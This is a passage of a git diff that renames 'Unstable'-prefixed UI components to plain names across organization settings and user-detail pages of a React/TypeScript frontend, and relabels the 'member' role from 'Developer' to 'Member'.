+                        </TableCell>
+                        <TableCell>
                           <Skeleton className="h-4 w-4" />
-                        </UnstableTableCell>
-                      </UnstableTableRow>
+                        </TableCell>
+                      </TableRow>
                     ))}
                   {!isLoading &&
                     paginatedSubOrgs.map((subOrg) => (
-                      <UnstableTableRow
+                      <TableRow
                         key={subOrg.id}
                         className="group"
                         onClick={
@@ -334,14 +331,12 @@ export const OrgSubOrgsTab = () => {
                             : undefined
                         }
                       >
-                        <UnstableTableCell isTruncatable>{subOrg.name}</UnstableTableCell>
-                        <UnstableTableCell isTruncatable className="text-muted">
+                        <TableCell isTruncatable>{subOrg.name}</TableCell>
+                        <TableCell isTruncatable className="text-muted">
                           {subOrg.slug}
-                        </UnstableTableCell>
-                        <UnstableTableCell>
-                          {format(new Date(subOrg.createdAt), "MMM d, yyyy")}
-                        </UnstableTableCell>
-                        <UnstableTableCell onClick={(e) => e.stopPropagation()}>
+                        </TableCell>
+                        <TableCell>{format(new Date(subOrg.createdAt), "MMM d, yyyy")}</TableCell>
+                        <TableCell onClick={(e) => e.stopPropagation()}>
                           {subOrg.isMember ? (
                             <Badge variant="info">
                               <CheckIcon />
@@ -366,33 +361,33 @@ export const OrgSubOrgsTab = () => {
                               }
                             </OrgPermissionCan>
                           )}
-                        </UnstableTableCell>
-                        <UnstableTableCell>
+                        </TableCell>
+                        <TableCell>
                           {canManageSubOrgs && (
                             <div
                               className="flex items-center justify-end"
                               onClick={(e) => e.stopPropagation()}
                               role="none"
                             >
-                              <UnstableDropdownMenu>
-                                <UnstableDropdownMenuTrigger asChild>
-                                  <UnstableIconButton variant="ghost" size="xs">
+                              <DropdownMenu>
+                                <DropdownMenuTrigger asChild>
+                                  <IconButton variant="ghost" size="xs">
                                     <MoreHorizontalIcon />
-                                  </UnstableIconButton>
-                                </UnstableDropdownMenuTrigger>
-                                <UnstableDropdownMenuContent sideOffset={2} align="end">
+                                  </IconButton>
+                                </DropdownMenuTrigger>
+                                <DropdownMenuContent sideOffset={2} align="end">
                                   <OrgPermissionCan
                                     I={OrgPermissionSubOrgActions.Edit}
                                     a={OrgPermissionSubjects.SubOrganization}
                                   >
                                     {(isAllowed) =>
                                       isAllowed ? (
-                                        <UnstableDropdownMenuItem
+                                        <DropdownMenuItem
                                           onClick={() => handleOpenEditModal(subOrg)}
                                         >
                                           <PencilIcon />
                                           Edit
-                                        </UnstableDropdownMenuItem>
+                                        </DropdownMenuItem>
                                       ) : null
                                     }
                                   </OrgPermissionCan>
@@ -402,27 +397,27 @@ export const OrgSubOrgsTab = () => {
                                   >
                                     {(isAllowed) =>
                                       isAllowed ? (
-                                        <UnstableDropdownMenuItem
+                                        <DropdownMenuItem
                                           variant="danger"
                                           onClick={() => handleOpenDeleteModal(subOrg)}
                                         >
                                           <TrashIcon />
                                           Delete
-                                        </UnstableDropdownMenuItem>
+                                        </DropdownMenuItem>
                                       ) : null
                                     }
                                   </OrgPermissionCan>
-                                </UnstableDropdownMenuContent>
-                              </UnstableDropdownMenu>
+                                </DropdownMenuContent>
+                              </DropdownMenu>
                             </div>
                           )}
-                        </UnstableTableCell>
-                      </UnstableTableRow>
+                        </TableCell>
+                      </TableRow>
                     ))}
-                </UnstableTableBody>
-              </UnstableTable>
+                </TableBody>
+              </Table>
               {Boolean(totalCount) && (
-                <UnstablePagination
+                <Pagination
                   count={totalCount}
                   page={page}
                   perPage={perPage}
@@ -432,8 +427,8 @@ export const OrgSubOrgsTab = () => {
               )}
             </>
           )}
-        </UnstableCardContent>
-      </UnstableCard>
+        </CardContent>
+      </Card>
 
       <Modal
         isOpen={popUp.addSubOrg.isOpen}
diff --git a/frontend/src/pages/organization/SettingsPage/components/ProjectTemplatesTab/components/EditProjectTemplateSection/components/ProjectTemplateEditRoleForm.tsx b/frontend/src/pages/organization/SettingsPage/components/ProjectTemplatesTab/components/EditProjectTemplateSection/components/ProjectTemplateEditRoleForm.tsx
index 206975f56bb..8241851e54d 100644
--- a/frontend/src/pages/organization/SettingsPage/components/ProjectTemplatesTab/components/EditProjectTemplateSection/components/ProjectTemplateEditRoleForm.tsx
+++ b/frontend/src/pages/organization/SettingsPage/components/ProjectTemplatesTab/components/EditProjectTemplateSection/components/ProjectTemplateEditRoleForm.tsx
@@ -6,7 +6,7 @@ import { z } from "zod";
 
 import { createNotification } from "@app/components/notifications";
 import { FormControl, Input } from "@app/components/v2";
-import { Button, UnstableAccordion } from "@app/components/v3";
+import { Accordion, Button } from "@app/components/v3";
 import { ProjectPermissionSub } from "@app/context";
 import { isCustomProjectRole } from "@app/helpers/roles";
 import { TProjectTemplate, useUpdateProjectTemplate } from "@app/hooks/api/projectTemplates";
@@ -191,7 +191,7 @@ export const ProjectTemplateEditRoleForm = ({
           <div className="mb-2 text-lg">Policies</div>
           <PermissionEmptyState />
           {hasPermissions && (
-            <UnstableAccordion
+            <Accordion
               type="multiple"
               value={openPolicies}
               onValueChange={setOpenPolicies}
@@ -210,7 +210,7 @@ export const ProjectTemplateEditRoleForm = ({
                   {renderConditionalComponents(subject, isDisabled)}
                 </GeneralPermissionPolicies>
               ))}
-            </UnstableAccordion>
+            </Accordion>
           )}
         </div>
       </FormProvider>
diff --git a/frontend/src/pages/organization/SettingsPage/components/ProjectTemplatesTab/components/EditProjectTemplateSection/components/ProjectTemplateGroupsSection.tsx b/frontend/src/pages/organization/SettingsPage/components/ProjectTemplatesTab/components/EditProjectTemplateSection/components/ProjectTemplateGroupsSection.tsx
index 6061e94fcb9..a9a67686efe 100644
--- a/frontend/src/pages/organization/SettingsPage/components/ProjectTemplatesTab/components/EditProjectTemplateSection/components/ProjectTemplateGroupsSection.tsx
+++ b/frontend/src/pages/organization/SettingsPage/components/ProjectTemplatesTab/components/EditProjectTemplateSection/components/ProjectTemplateGroupsSection.tsx
@@ -113,7 +113,7 @@ export const ProjectTemplateGroupsSection = ({ projectTemplate }: Props) => {
   const availableRoles = useMemo(() => {
     const predefinedRoles = [
       { slug: "admin", name: "Admin" },
-      { slug: "member", name: "Developer" },
+      { slug: "member", name: "Member" },
       { slug: "viewer", name: "Viewer" },
       { slug: "no-access", name: "No Access" }
     ];
diff --git a/frontend/src/pages/organization/SettingsPage/components/ProjectTemplatesTab/components/EditProjectTemplateSection/components/ProjectTemplateIdentitiesSection.tsx b/frontend/src/pages/organization/SettingsPage/components/ProjectTemplatesTab/components/EditProjectTemplateSection/components/ProjectTemplateIdentitiesSection.tsx
index 80bda2b447b..ec90abdb6e8 100644
--- a/frontend/src/pages/organization/SettingsPage/components/ProjectTemplatesTab/components/EditProjectTemplateSection/components/ProjectTemplateIdentitiesSection.tsx
+++ b/frontend/src/pages/organization/SettingsPage/components/ProjectTemplatesTab/components/EditProjectTemplateSection/components/ProjectTemplateIdentitiesSection.tsx
@@ -175,7 +175,7 @@ export const ProjectTemplateIdentitiesSection = ({ projectTemplate }: Props) =>
   const availableRoles = useMemo(() => {
     const predefinedRoles = [
       { slug: "admin", name: "Admin" },
-      { slug: "member", name: "Developer" },
+      { slug: "member", name: "Member" },
       { slug: "viewer", name: "Viewer" },
       { slug: "no-access", name: "No Access" }
     ];
diff --git a/frontend/src/pages/organization/SettingsPage/components/ProjectTemplatesTab/components/EditProjectTemplateSection/components/ProjectTemplateUsersSection.tsx b/frontend/src/pages/organization/SettingsPage/components/ProjectTemplatesTab/components/EditProjectTemplateSection/components/ProjectTemplateUsersSection.tsx
index f1822645ba8..afeb2b397f4 100644
--- a/frontend/src/pages/organization/SettingsPage/components/ProjectTemplatesTab/components/EditProjectTemplateSection/components/ProjectTemplateUsersSection.tsx
+++ b/frontend/src/pages/organization/SettingsPage/components/ProjectTemplatesTab/components/EditProjectTemplateSection/components/ProjectTemplateUsersSection.tsx
@@ -113,7 +113,7 @@ export const ProjectTemplateUsersSection = ({ projectTemplate }: Props) => {
   const availableRoles = useMemo(() => {
     const predefinedRoles = [
       { slug: "admin", name: "Admin" },
-      { slug: "member", name: "Developer" },
+      { slug: "member", name: "Member" },
       { slug: "viewer", name: "Viewer" },
       { slug: "no-access", name: "No Access" }
     ];
diff --git a/frontend/src/pages/organization/UserDetailsByIDPage/UserDetailsByIDPage.tsx b/frontend/src/pages/organization/UserDetailsByIDPage/UserDetailsByIDPage.tsx
index 58857dbdfc0..ae5a55b111a 100644
--- a/frontend/src/pages/organization/UserDetailsByIDPage/UserDetailsByIDPage.tsx
+++ b/frontend/src/pages/organization/UserDetailsByIDPage/UserDetailsByIDPage.tsx
@@ -9,10 +9,10 @@ import { OrgPermissionCan } from "@app/components/permissions";
 import { DeleteActionModal, PageHeader } from "@app/components/v2";
 import {
   Button,
-  UnstableDropdownMenu,
-  UnstableDropdownMenuContent,
-  UnstableDropdownMenuItem,
-  UnstableDropdownMenuTrigger
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger
 } from "@app/components/v3";
 import { ROUTE_PATHS } from "@app/const/routes";
 import {
@@ -123,15 +123,15 @@ const Page = withPermission(
               description={`Configure and manage${isSubOrganization ? " sub-" : " "}organization user membership`}
             >
               {userId !== membership.user.id && (
-                <UnstableDropdownMenu>
-                  <UnstableDropdownMenuTrigger asChild>
+                <DropdownMenu>
+                  <DropdownMenuTrigger asChild>
                     <Button variant="outline">
                       Options
                       <EllipsisIcon />
                     </Button>
-                  </UnstableDropdownMenuTrigger>
-                  <UnstableDropdownMenuContent align="end">
-                    <UnstableDropdownMenuItem
+                  </DropdownMenuTrigger>
+                  <DropdownMenuContent align="end">
+                    <DropdownMenuItem
                       onClick={() => {
                         navigator.clipboard.writeText(membership.user.id);
                         createNotification({
@@ -141,13 +141,13 @@ const Page = withPermission(
                       }}
                     >
                       Copy User ID
-                    </UnstableDropdownMenuItem>
+                    </DropdownMenuItem>
                     <OrgPermissionCan
                       I={OrgPermissionActions.Edit}
                       a={OrgPermissionSubjects.Member}
                     >
                       {(isAllowed) => (
-                        <UnstableDropdownMenuItem
+                        <DropdownMenuItem
                           isDisabled={!isAllowed}
                           onClick={() =>
                             handlePopUpOpen("orgMembership", {
@@ -159,7 +159,7 @@ const Page = withPermission(
                           }
                         >
                           Edit User
-                        </UnstableDropdownMenuItem>
+                        </DropdownMenuItem>
                       )}
                     </OrgPermissionCan>
                     <OrgPermissionCan
@@ -167,7 +167,7 @@ const Page = withPermission(
                       a={OrgPermissionSubjects.Member}
                     >
                       {(isAllowed) => (
-                        <UnstableDropdownMenuItem
+                        <DropdownMenuItem
                           isDisabled={!isAllowed}
                           onClick={async () => {
                             if (!membership.isActive) {
@@ -189,7 +189,7 @@ const Page = withPermission(
                           }}
                         >
                           {`${membership.isActive ? "Deactivate" : "Activate"} User`}
-                        </UnstableDropdownMenuItem>
+                        </DropdownMenuItem>
                       )}
                     </OrgPermissionCan>
                     <OrgPermissionCan
@@ -197,7 +197,7 @@ const Page = withPermission(
                       a={OrgPermissionSubjects.Member}
                     >
                       {(isAllowed) => (
-                        <UnstableDropdownMenuItem
+                        <DropdownMenuItem
                           variant="danger"
                           isDisabled={!isAllowed}
                           onClick={() => {
@@ -208,11 +208,11 @@ const Page = withPermission(
                           }}
                         >
                           Remove User
-                        </UnstableDropdownMenuItem>
+                        </DropdownMenuItem>
                       )}
                     </OrgPermissionCan>
-                  </UnstableDropdownMenuContent>
-                </UnstableDropdownMenu>
+                  </DropdownMenuContent>
+                </DropdownMenu>
               )}
             </PageHeader>
             <div className="flex flex-col gap-5 lg:flex-row">
diff --git a/frontend/src/pages/organization/UserDetailsByIDPage/components/UserDetailsSection.tsx b/frontend/src/pages/organization/UserDetailsByIDPage/components/UserDetailsSection.tsx
index 876bc3ccd73..7eee66c5300 100644
--- a/frontend/src/pages/organization/UserDetailsByIDPage/components/UserDetailsSection.tsx
+++ b/frontend/src/pages/organization/UserDetailsByIDPage/components/UserDetailsSection.tsx
@@ -15,18 +15,18 @@ import { Tooltip } from "@app/components/v2";
 import {
   Badge,
   Button,
+  ButtonGroup,
+  Card,
+  CardAction,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle,
   Detail,
   DetailGroup,
   DetailLabel,
   DetailValue,
-  UnstableButtonGroup,
-  UnstableCard,
-  UnstableCardAction,
-  UnstableCardContent,
-  UnstableCardDescription,
-  UnstableCardHeader,
-  UnstableCardTitle,
-  UnstableIconButton
+  IconButton
 } from "@app/components/v3";
 import {
   OrgPermissionActions,
@@ -102,15 +102,15 @@ export const UserDetailsSection = ({ membershipId, handlePopUpOpen }: Props) =>
   const status = membership ? getStatus(membership) : null;
 
   return membership ? (
-    <UnstableCard className="w-full lg:max-w-[24rem]">
-      <UnstableCardHeader className="border-b">
-        <UnstableCardTitle>Details</UnstableCardTitle>
-        <UnstableCardDescription>User membership details</UnstableCardDescription>
+    <Card className="w-full lg:max-w-[24rem]">
+      <CardHeader className="border-b">
+        <CardTitle>Details</CardTitle>
+        <CardDescription>User membership details</CardDescription>
         {userId !== membership.user.id && (
-          <UnstableCardAction>
+          <CardAction>
             <OrgPermissionCan I={OrgPermissionActions.Edit} a={OrgPermissionSubjects.Member}>
               {(isAllowed) => (
-                <UnstableIconButton
+                <IconButton
                   isDisabled={!isAllowed}
                   onClick={() => {
                     handlePopUpOpen("orgMembership", {
@@ -124,13 +124,13 @@ export const UserDetailsSection = ({ membershipId, handlePopUpOpen }: Props) =>
                   variant="outline"
                 >
                   <PencilIcon />
-                </UnstableIconButton>
+                </IconButton>
               )}
             </OrgPermissionCan>
-          </UnstableCardAction>
+          </CardAction>
         )}
-      </UnstableCardHeader>
-      <UnstableCardContent>
+      </CardHeader>
+      <CardContent>
         <DetailGroup>
           <Detail>
             <DetailLabel>Name</DetailLabel>
@@ -141,7 +141,7 @@ export const UserDetailsSection = ({ membershipId, handlePopUpOpen }: Props) =>
             <DetailValue className="flex items-center gap-x-1">
               {membership.user.id}
               <Tooltip content="Copy user ID to clipboard">
-                <UnstableIconButton
+                <IconButton
                   onClick={() => {
                     navigator.clipboard.writeText(membership.user.id);
                     setCopyTextId("Copied");
@@ -150,7 +150,7 @@ export const UserDetailsSection = ({ membershipId, handlePopUpOpen }: Props) =>
                   size="xs"
                 >
                   {isCopyingId ? <CheckIcon /> : <ClipboardListIcon className="text-label" />}
-                </UnstableIconButton>
+                </IconButton>
               </Tooltip>
             </DetailValue>
           </Detail>
@@ -174,7 +174,7 @@ export const UserDetailsSection = ({ membershipId, handlePopUpOpen }: Props) =>
                     )}
                   </Tooltip>
                   <Tooltip content="Copy user email to clipboard">
-                    <UnstableIconButton
+                    <IconButton
                       onClick={() => {
                         navigator.clipboard.writeText(membership.user.email!);
                         setCopyEmail("Copied");
@@ -187,7 +187,7 @@ export const UserDetailsSection = ({ membershipId, handlePopUpOpen }: Props) =>
                       ) : (
                         <ClipboardListIcon className="text-label" />
                       )}
-                    </UnstableIconButton>
+                    </IconButton>
                   </Tooltip>
                 </>
               ) : (
@@ -239,14 +239,14 @@ export const UserDetailsSection = ({ membershipId, handlePopUpOpen }: Props) =>
             <DetailValue className="flex flex-wrap gap-2">
               {membership?.metadata?.length ? (
                 membership.metadata?.map((el) => (
-                  <UnstableButtonGroup className="min-w-0" key={el.id}>
+                  <ButtonGroup className="min-w-0" key={el.id}>
                     <Badge isTruncatable>
                       <span>{el.key}</span>
                     </Badge>
                     <Badge variant="outline" isTruncatable>
                       <span>{el.value}</span>
                     </Badge>
-                  </UnstableButtonGroup>
+                  </ButtonGroup>
                 ))
               ) : (
                 <span className="text-muted">—</span>
@@ -273,8 +273,8 @@ export const UserDetailsSection = ({ membershipId, handlePopUpOpen }: Props) =>
               )}
             </OrgPermissionCan>
           )}
-      </UnstableCardContent>
-    </UnstableCard>
+      </CardContent>
+    </Card>
   ) : (
     <div />
   );
diff --git a/frontend/src/pages/organization/UserDetailsByIDPage/components/UserProjectsSection/UserGroupsRow.tsx b/frontend/src/pages/organization/UserDetailsByIDPage/components/UserProjectsSection/UserGroupsRow.tsx
index d6047920b2a..30f639e91bb 100644
--- a/frontend/src/pages/organization/UserDetailsByIDPage/components/UserProjectsSection/UserGroupsRow.tsx
+++ b/frontend/src/pages/organization/UserDetailsByIDPage/components/UserProjectsSection/UserGroupsRow.tsx
@@ -1,13 +1,13 @@
 import { MoreHorizontalIcon } from "lucide-react";
 
 import {
-  UnstableDropdownMenu,
-  UnstableDropdownMenuContent,
-  UnstableDropdownMenuItem,
-  UnstableDropdownMenuTrigger,
-  UnstableIconButton,
-  UnstableTableCell,
-  UnstableTableRow
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger,
+  IconButton,
+  TableCell,
+  TableRow
 } from "@app/components/v3";
 import { TGroupWithProjectMemberships } from "@app/hooks/api/groups/types";
 import { UsePopUpState } from "@app/hooks/usePopUp";
@@ -19,17 +19,17 @@ type Props = {
 
 export const UserGroupsRow = ({ group, handlePopUpOpen }: Props) => {
   return (
-    <UnstableTableRow key={`user-group-membership-${group.id}`}>
-      <UnstableTableCell>{group.name}</UnstableTableCell>
-      <UnstableTableCell>
-        <UnstableDropdownMenu>
-          <UnstableDropdownMenuTrigger>
-            <UnstableIconButton variant="ghost" size="xs">
+    <TableRow key={`user-group-membership-${group.id}`}>
+      <TableCell>{group.name}</TableCell>
+      <TableCell>
+        <DropdownMenu>
+          <DropdownMenuTrigger>
+            <IconButton variant="ghost" size="xs">
               <MoreHorizontalIcon />
-            </UnstableIconButton>
-          </UnstableDropdownMenuTrigger>
-          <UnstableDropdownMenuContent align="end">
-            <UnstableDropdownMenuItem
+            </IconButton>
+          </DropdownMenuTrigger>
+          <DropdownMenuContent align="end">
+            <DropdownMenuItem
               variant="danger"
               onClick={(e) => {
                 e.stopPropagation();
@@ -40,10 +40,10 @@ export const UserGroupsRow = ({ group, handlePopUpOpen }: Props) => {
               }}
             >
               Unassign from Group
-            </UnstableDropdownMenuItem>
-          </UnstableDropdownMenuContent>
-        </UnstableDropdownMenu>
-      </UnstableTableCell>
-    </UnstableTableRow>
+            </DropdownMenuItem>
+          </DropdownMenuContent>
+        </DropdownMenu>
+      </TableCell>
+    </TableRow>
   );
 };
diff --git a/frontend/src/pages/organization/UserDetailsByIDPage/components/UserProjectsSection/UserGroupsSection.tsx b/frontend/src/pages/organization/UserDetailsByIDPage/components/UserProjectsSection/UserGroupsSection.tsx
index b0ebf9a15d8..e4af4ea99b7 100644
--- a/frontend/src/pages/organization/UserDetailsByIDPage/components/UserProjectsSection/UserGroupsSection.tsx
+++ b/frontend/src/pages/organization/UserDetailsByIDPage/components/UserProjectsSection/UserGroupsSection.tsx
@@ -2,13 +2,7 @@ import { useCallback } from "react";
 
 import { createNotification } from "@app/components/notifications";
 import { DeleteActionModal } from "@app/components/v2";
-import {
-  UnstableCard,
-  UnstableCardContent,
-  UnstableCardDescription,
-  UnstableCardHeader,
-  UnstableCardTitle
-} from "@app/components/v3";
+import { Card, CardContent, CardDescription, CardHeader, CardTitle } from "@app/components/v3";
 import { useRemoveUserFromGroup } from "@app/hooks/api";
 import { OrgUser } from "@app/hooks/api/users/types";
 import { usePopUp } from "@app/hooks/usePopUp";
@@ -46,15 +40,15 @@ export const UserGroupsSection = ({ orgMembership }: Props) => {
 
   return (
     <>
-      <UnstableCard>
-        <UnstableCardHeader>
-          <UnstableCardTitle>Groups</UnstableCardTitle>
-          <UnstableCardDescription>Manage user group memberships</UnstableCardDescription>
-        </UnstableCardHeader>
-        <UnstableCardContent>
+      <Card>
+        <CardHeader>
+          <CardTitle>Groups</CardTitle>
+          <CardDescription>Manage user group memberships</CardDescription>
+        </CardHeader>
+        <CardContent>
           <UserGroupsTable orgMembership={orgMembership} handlePopUpOpen={handlePopUpOpen} />
-        </UnstableCardContent>
-      </UnstableCard>
+        </CardContent>
+      </Card>
 
       <DeleteActionModal
         isOpen={popUp.removeUserFromGroup.isOpen}
diff --git a/frontend/src/pages/organization/UserDetailsByIDPage/components/UserProjectsSection/UserGroupsTable.tsx b/frontend/src/pages/organization/UserDetailsByIDPage/components/UserProjectsSection/UserGroupsTable.tsx
index d3bba081ac9..9869a0b5d24 100644
--- a/frontend/src/pages/organization/UserDetailsByIDPage/components/UserProjectsSection/UserGroupsTable.tsx
+++ b/frontend/src/pages/organization/UserDetailsByIDPage/components/UserProjectsSection/UserGroupsTable.tsx
@@ -4,17 +4,17 @@ import { twMerge } from "tailwind-merge";
 
 import { Lottie } from "@app/components/v2";
 import {
-  UnstableEmpty,
-  UnstableEmptyDescription,
-  UnstableEmptyHeader,
-  UnstableEmptyTitle,
-  UnstableInput,
-  UnstablePagination,
-  UnstableTable,
-  UnstableTableBody,
-  UnstableTableHead,
-  UnstableTableHeader,
-  UnstableTableRow
+  Empty,
+  EmptyDescription,
+  EmptyHeader,
+  EmptyTitle,
+  Input,
+  Pagination,
+  Table,
+  TableBody,
+  TableHead,
+  TableHeader,
+  TableRow
 } from "@app/components/v3";
 import {
   getUserTablePreference,
@@ -91,17 +91,17 @@ export const UserGroupsTable = ({ handlePopUpOpen, orgMembership }: Props) => {
 
   return (
     <>
-      <UnstableInput
+      <Input
         className="mb-4"
         value={search}
         onChange={(e) => setSearch(e.target.value)}
         placeholder="Search groups..."
       />
       {filteredGroupMemberships.length ? (
-        <UnstableTable>
-          <UnstableTableHeader>
-            <UnstableTableRow>
-              <UnstableTableHead onClick={toggleOrderDirection} className="w-full">
+        <Table>
+          <TableHeader>
+            <TableRow>
+              <TableHead onClick={toggleOrderDirection} className="w-full">
                 Name
                 <ChevronDownIcon
                   className={twMerge(
@@ -109,11 +109,11 @@ export const UserGroupsTable = ({ handlePopUpOpen, orgMembership }: Props) => {
                     "transition-transform"
                   )}
                 />
-              </UnstableTableHead>
-              <UnstableTableHead className="w-5" />
-            </UnstableTableRow>
-          </UnstableTableHeader>
-          <UnstableTableBody>
+              </TableHead>
+              <TableHead className="w-5" />
+            </TableRow>
+          </TableHeader>
+          <TableBody>
             {filteredGroupMemberships.slice(offset, perPage * page).map((group) => (
               <UserGroupsRow
                 key={`user-group-${group.id}`}
@@ -121,26 +121,26 @@ export const UserGroupsTable = ({ handlePopUpOpen, orgMembership }: Props) => {
                 handlePopUpOpen={handlePopUpOpen}
               />
             ))}
-          </UnstableTableBody>
-        </UnstableTable>
+          </TableBody>
+        </Table>
       ) : (
-        <UnstableEmpty className="border">
-          <UnstableEmptyHeader>
-            <UnstableEmptyTitle>
+        <Empty className="border">
+          <EmptyHeader>
+            <EmptyTitle>
               {groupMemberships.length
                 ? "No groups match this search"
                 : "This user has not been assigned to any groups"}
-            </UnstableEmptyTitle>
-            <UnstableEmptyDescription>
+            </EmptyTitle>
+            <EmptyDescription>
               {groupMemberships.length
                 ? "Adjust search filters to view group memberships."
                 : "Assign this user to a group from the group access control page."}
-            </UnstableEmptyDescription>
-          </UnstableEmptyHeader>
-        </UnstableEmpty>
+            </EmptyDescription>
+          </EmptyHeader>
+        </Empty>
       )}
       {Boolean(filteredGroupMemberships.length) && (
-        <UnstablePagination
+        <Pagination
           count={filteredGroupMemberships.length}
           page={page}
           perPage={perPage}
diff --git a/frontend/src/pages/organization/UserDetailsByIDPage/components/UserProjectsSection/UserProjectRow.tsx b/frontend/src/pages/organization/UserDetailsByIDPage/components/UserProjectsSection/UserProjectRow.tsx
index d11b4d2ea50..6b5f1da3449 100644
--- a/frontend/src/pages/organization/UserDetailsByIDPage/components/UserProjectsSection/UserProjectRow.tsx
+++ b/frontend/src/pages/organization/UserDetailsByIDPage/components/UserProjectsSection/UserProjectRow.tsx
@@ -4,13 +4,13 @@ import { MoreHorizontalIcon } from "lucide-react";
 
 import { createNotification } from "@app/components/notifications";
 import {
-  UnstableDropdownMenu,
-  UnstableDropdownMenuContent,
-  UnstableDropdownMenuItem,
-  UnstableDropdownMenuTrigger,
-  UnstableIconButton,
-  UnstableTableCell,
-  UnstableTableRow
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger,
+  IconButton,
+  TableCell,
+  TableRow
 } from "@app/components/v3";
 import { useOrganization } from "@app/context";
 import { getProjectBaseURL } from "@app/helpers/project";
@@ -47,7 +47,7 @@ export const UserProjectRow = ({
   }, [workspaces, project]);
 
   return (
-    <UnstableTableRow
+    <TableRow
       key={`user-project-membership-${id}`}
       onClick={() => {
         if (isAccessible) {
@@ -70,19 +70,19 @@ export const UserProjectRow = ({
         });
       }}
     >
-      <UnstableTableCell className="max-w-0 truncate">{project.name}</UnstableTableCell>
-      <UnstableTableCell>{`${formatProjectRoleName(roles[0].role, roles[0].customRoleName)}${
+      <TableCell className="max-w-0 truncate">{project.name}</TableCell>
+      <TableCell>{`${formatProjectRoleName(roles[0].role, roles[0].customRoleName)}${
         roles.length > 1 ? ` (+${roles.length - 1})` : ""
-      }`}</UnstableTableCell>
-      <UnstableTableCell>
-        <UnstableDropdownMenu>
-          <UnstableDropdownMenuTrigger>
-            <UnstableIconButton variant="ghost" size="xs">
+      }`}</TableCell>
+      <TableCell>
+        <DropdownMenu>
+          <DropdownMenuTrigger>
+            <IconButton variant="ghost" size="xs">
               <MoreHorizontalIcon />
-            </UnstableIconButton>
-          </UnstableDropdownMenuTrigger>
-          <UnstableDropdownMenuContent align="end">
-            <UnstableDropdownMenuItem
+            </IconButton>
+          </DropdownMenuTrigger>
+          <DropdownMenuContent align="end">
+            <DropdownMenuItem
               isDisabled={!isAccessible}
               onClick={(e) => {
                 e.stopPropagation();
@@ -99,8 +99,8 @@ export const UserProjectRow = ({
               }}
             >
               Access Project
-            </UnstableDropdownMenuItem>
-            <UnstableDropdownMenuItem
+            </DropdownMenuItem>
+            <DropdownMenuItem
               variant="danger"
               isDisabled={!isAccessible}
               onClick={(e) => {
@@ -113,10 +113,10 @@ export const UserProjectRow = ({
               }}
             >
               Remove From Project
-            </UnstableDropdownMenuItem>
-          </UnstableDropdownMenuContent>
-        </UnstableDropdownMenu>
-      </UnstableTableCell>
-    </UnstableTableRow>
+            </DropdownMenuItem>
+          </DropdownMenuContent>
+        </DropdownMenu>
+      </TableCell>
+    </TableRow>
   );
 };
diff --git a/frontend/src/pages/organization/UserDetailsByIDPage/components/UserProjectsSection/UserProjectsSection.tsx b/frontend/src/pages/organization/UserDetailsByIDPage/components/UserProjectsSection/UserProjectsSection.tsx
index 2db6158abbb..2706fd004e8 100644
--- a/frontend/src/pages/organization/UserDetailsByIDPage/components/UserProjectsSection/UserProjectsSection.tsx
+++ b/frontend/src/pages/organization/UserDetailsByIDPage/components/UserProjectsSection/UserProjectsSection.tsx
@@ -4,12 +4,12 @@ import { createNotification } from "@app/components/notifications";
 import { DeleteActionModal } from "@app/components/v2";
 import {
   Button,
-  UnstableCard,
-  UnstableCardAction,
-  UnstableCardContent,
-  UnstableCardDescription,
-  UnstableCardHeader,
-  UnstableCardTitle
+  Card,
+  CardAction,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle
 } from "@app/components/v3";
 import { useOrganization, useUser } from "@app/context";
 import {
@@ -60,12 +60,12 @@ export const UserProjectsSection = ({ membershipId }: Props) => {
 
   return (
     <>
-      <UnstableCard>
-        <UnstableCardHeader>
-          <UnstableCardTitle>Projects</UnstableCardTitle>
-          <UnstableCardDescription>Manage user project memberships</UnstableCardDescription>
+      <Card>
+        <CardHeader>
+          <CardTitle>Projects</CardTitle>
+          <CardDescription>Manage user project memberships</CardDescription>
           {canAddToProject && Boolean(projectMemberships?.length) && (
-            <UnstableCardAction>
+            <CardAction>
               <Button
                 onClick={() => {
                   handlePopUpOpen("addUserToProject", {
@@ -78,18 +78,18 @@ export const UserProjectsSection = ({ membershipId }: Props) => {
                 <PlusIcon />
                 Add to Project
               </Button>
-            </UnstableCardAction>
+            </CardAction>
           )}
-        </UnstableCardHeader>
-        <UnstableCardContent>
+        </CardHeader>
+        <CardContent>
           <UserProjectsTable
             membershipId={membershipId}
             handlePopUpOpen={handlePopUpOpen}
             canAddToProject={canAddToProject}
             username={membership.user.username}
           />
-        </UnstableCardContent>
-      </UnstableCard>
+        </CardContent>
+      </Card>
       <UserAddToProjectModal
         membershipId={membershipId}
         popUp={popUp}
diff --git a/frontend/src/pages/organization/UserDetailsByIDPage/components/UserProjectsSection/UserProjectsTable.tsx b/frontend/src/pages/organization/UserDetailsByIDPage/components/UserProjectsSection/UserProjectsTable.tsx
index 4c87f0b6817..ebc0f27057a 100644
--- a/frontend/src/pages/organization/UserDetailsByIDPage/components/UserProjectsSection/UserProjectsTable.tsx
+++ b/frontend/src/pages/organization/UserDetailsByIDPage/components/UserProjectsSection/UserProjectsTable.tsx
@@ -5,18 +5,18 @@ import { twMerge } from "tailwind-merge";
 import { Lottie } from "@app/components/v2";
 import {
   Button,
-  UnstableEmpty,
-  UnstableEmptyContent,
-  UnstableEmptyDescription,
-  UnstableEmptyHeader,
-  UnstableEmptyTitle,
-  UnstableInput,
-  UnstablePagination,
-  UnstableTable,
-  UnstableTableBody,
-  UnstableTableHead,
-  UnstableTableHeader,
-  UnstableTableRow
+  Empty,
+  EmptyContent,
+  EmptyDescription,
+  EmptyHeader,
+  EmptyTitle,
+  Input,
+  Pagination,
+  Table,
+  TableBody,
+  TableHead,
+  TableHeader,
+  TableRow
 } from "@app/components/v3";
 import { useOrganization } from "@app/context";
 import {
@@ -110,17 +110,17 @@ export const UserProjectsTable = ({
 
   return (
     <>
-      <UnstableInput
+      <Input
         className="mb-4"
         value={search}
         onChange={(e) => setSearch(e.target.value)}
         placeholder="Search projects..."
       />
       {filteredProjectMemberships.length ? (
-        <UnstableTable>
-          <UnstableTableHeader>
-            <UnstableTableRow>
-              <UnstableTableHead onClick={toggleOrderDirection} className="w-2/3">
+        <Table>
+          <TableHeader>
+            <TableRow>
